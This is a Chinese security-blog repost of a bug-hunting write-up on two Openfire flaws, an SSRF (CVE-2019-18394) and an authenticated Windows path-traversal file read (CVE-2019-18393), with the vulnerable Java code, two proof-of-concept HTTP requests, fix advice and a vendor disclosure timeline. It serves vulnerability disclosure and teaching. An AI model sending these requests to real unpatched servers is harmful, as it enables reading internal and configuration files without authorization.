挖洞经验 | Openfire应用的SSRF和任意文件读取漏洞

admin 2020年8月15日18:00:50评论419 views字数 3085阅读10分17秒阅读模式

挖洞经验 | Openfire应用的SSRF和任意文件读取漏洞

Openfire是Ignite Realtime公司基于Jabber协议(XMPP)实现的开源即时通信服务,它是跨平台的Java应用,用于中小企业内部交流和即时通信。最近,作者从Openfire的渗透测试项目中发现,Openfire系统包括管理接口(端口9090-http和9091-https)在内的很多应用接口都曝露出安全问题,容易受到外部攻击者的攻击。

因为Openfire开源于Github中,所以刚开始我就从其应用接口源码上入手进行了一些检查,以下就分享我从中发现的两个漏洞。

全读取型SSRF漏洞(CVE-2019-18394)

问题文件: FaviconServlet.java

利用该漏洞,攻击者可以向目标内网以未授权方式发起HTTP GET请求,从目标Web应用服务中读取到相关的敏感信息。以下是FaviconServlet.java文件中的问题代码:

...public void doGet(HttpServletRequest request, HttpServletResponse response) {      String host = request.getParameter("host");      // Check special cases where we need to change host to get a favicon      host = "gmail.com".equals(host) ? "google.com" : host;
byte[] bytes = getImage(host, defaultBytes); if (bytes != null) { writeBytesToStream(bytes, response); }}
private byte[] getImage(String host, byte[] defaultImage) { // If we've already attempted to get the favicon twice and failed, // return the default image. if (missesCache.get(host) != null && missesCache.get(host) > 1) { // Domain does not have a favicon so return default icon return defaultImage; } // See if we've cached the favicon. if (hitsCache.containsKey(host)) { return hitsCache.get(host); } byte[] bytes = getImage("http://" + host + "/favicon.ico"); ....}...

其中的doGet 和 getImage方法会从get参数中去取host变量,然后最终组合成一个URL链接,但在此过程中,没有任何限制措施,因此,攻击者可以向其中构造加入任意序列字符,操控URL访问指向。如操控URL去读取某台内网电脑上的敏感文件:

GET /getFavicon?host=192.168.176.1:8080/secrets.txt? HTTP/1.1Host: assesmenthost.com:9090

挖洞经验 | Openfire应用的SSRF和任意文件读取漏洞

任意文件读取漏洞(CVE-2019-18393)

问题文件: PluginServlet.java

该漏洞仅影响Windows安装版本的OpenFire服务端,但对该漏洞的利用,需要攻击者在OpenFire应用服务中具备管理权限账户,利用该漏洞可以读取OpenFire服务端的任意文件。以下是PluginServlet.java file中的问题代码:

...@Overridepublic void service(HttpServletRequest request, HttpServletResponse response) {    String pathInfo = request.getPathInfo();    if (pathInfo == null) {        response.setStatus(HttpServletResponse.SC_NOT_FOUND);    }    else {        try {            // Handle JSP requests.            if (pathInfo.endsWith(".jsp")) {                ...            }            // Handle servlet requests.            else if (getServlet(pathInfo) != null) {                handleServlet(pathInfo, request, response);            }            // Handle image/other requests.            else {                handleOtherRequest(pathInfo, response);            }        }       ...}
private void handleOtherRequest(String pathInfo, HttpServletResponse response) throws IOException { String[] parts = pathInfo.split("/"); // Image request must be in correct format. if (parts.length < 3) { response.setStatus(HttpServletResponse.SC_NOT_FOUND); return; }
String contextPath = ""; int index = pathInfo.indexOf(parts[1]); if (index != -1) { contextPath = pathInfo.substring(index + parts[1].length()); }
File pluginDirectory = new File(JiveGlobals.getHomeDirectory(), "plugins"); File file = new File(pluginDirectory, parts[1] + File.separator + "web" + contextPath);
// When using dev environment, the images dir may be under something other that web. Plugin plugin = pluginManager.getPlugin(parts[1]); ...}

该漏洞有趣之处在于其URI方式上,它不牵扯HTTP参数。其中的handleOtherRequest方法用于处理/plugin/search/ 路径,在此,假设用“/”方式来对它进行分隔利用,看看能否能在实现Windows系统下的路径遍历。以下用OpenFire应用服务管理权限账户Cookie来进行一个路径遍历尝试:

GET /plugins/search/......confopenfire.xml HTTP/1.1Host: assesmenthost.com:9090Cookie: JSESSIONID=node01aaib5x4g4p781q3i2m2tm74u91.node0;

挖洞经验 | Openfire应用的SSRF和任意文件读取漏洞

总结

以上两个漏洞都是对用户输入的不当校验导致的,所以我的建议就是,在开发阶段对用户输入点,或文件读取、URL访问等敏感操作过程加入安全校验。另外,系统管理员应该加强管理接口的未授权访问,警惕内部或外部攻击。

漏洞上报

2019.10.2  漏洞上报Ignite Realtime

2019.10.3  漏洞验证有效并被从代码层面进行了修复

2019.11.1  Ignite Realtime发布更新后的4.4.3版本

2020.8.4    漏洞公开

PS:小编觉得,这CVE还是好申请的呀。

参考来源:pesecurity

挖洞经验 | Openfire应用的SSRF和任意文件读取漏洞

精彩推荐





挖洞经验 | Openfire应用的SSRF和任意文件读取漏洞
挖洞经验 | Openfire应用的SSRF和任意文件读取漏洞挖洞经验 | Openfire应用的SSRF和任意文件读取漏洞

挖洞经验 | Openfire应用的SSRF和任意文件读取漏洞挖洞经验 | Openfire应用的SSRF和任意文件读取漏洞

挖洞经验 | Openfire应用的SSRF和任意文件读取漏洞

挖洞经验 | Openfire应用的SSRF和任意文件读取漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年8月15日18:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   挖洞经验 | Openfire应用的SSRF和任意文件读取漏洞http://cn-sec.com/archives/90207.html

发表评论

匿名网友 填写信息